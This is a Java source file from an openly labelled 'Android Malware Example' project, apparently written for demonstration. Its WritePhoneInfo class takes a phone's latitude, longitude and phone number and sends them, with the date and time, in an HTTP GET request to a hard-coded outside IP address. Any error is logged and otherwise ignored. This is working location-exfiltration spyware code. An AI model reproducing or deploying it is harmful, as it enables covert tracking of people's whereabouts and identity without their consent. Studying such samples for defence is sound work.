/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.util.Log;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;


import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URI;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;


import android.util.Log;

public class WritePhoneInfo {

    public void SavePhoneLocation(String _lat, String _lon, String Phone){
        Date today = new Date();
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
        SimpleDateFormat sdt = new SimpleDateFormat("HH:mm");
        String formattedDate = sdf.format(today);
        String formattedTime = sdt.format(today);
        if (_lat.equals("9999.0"))
            return;


        String myURL="http://209.91.186.30/save.php?lat="+_lat+"&lon="+_lon+"&phone="+Phone+"&date="+formattedDate+"&time="+formattedTime;



        StringBuilder stringBuilder = new StringBuilder("http://209.91.186.30/save.php");
        stringBuilder.append("?lat="+_lat);
        stringBuilder.append("&lon="+_lon);
        stringBuilder.append("&phone="+Phone);
        stringBuilder.append("&date="+formattedDate);
        stringBuilder.append("&time="+formattedTime);

        try {

            URL obj = new URL(stringBuilder.toString());

            HttpURLConnection con = (HttpURLConnection) obj.openConnection();
            con.setRequestMethod("GET");

            con.setRequestProperty("Accept-Charset", "UTF-8");

//            System.out.println("\nSending request to URL : " + stringBuilder);
//            System.out.println("Response Code : " + con.getResponseCode());
//            System.out.println("Response Message : " + con.getResponseMessage());

            BufferedReader in = new BufferedReader(
                    new InputStreamReader(con.getInputStream()));
            String line;
            StringBuffer response = new StringBuffer();

            while ((line = in.readLine()) != null) {
                response.append(line);
            }
            in.close();

          //  System.out.println(response.toString());
            con.disconnect();

        } catch	(Exception ex){
            Log.d("BGMonitor_WritePhone",ex.toString());
        }


    }

}
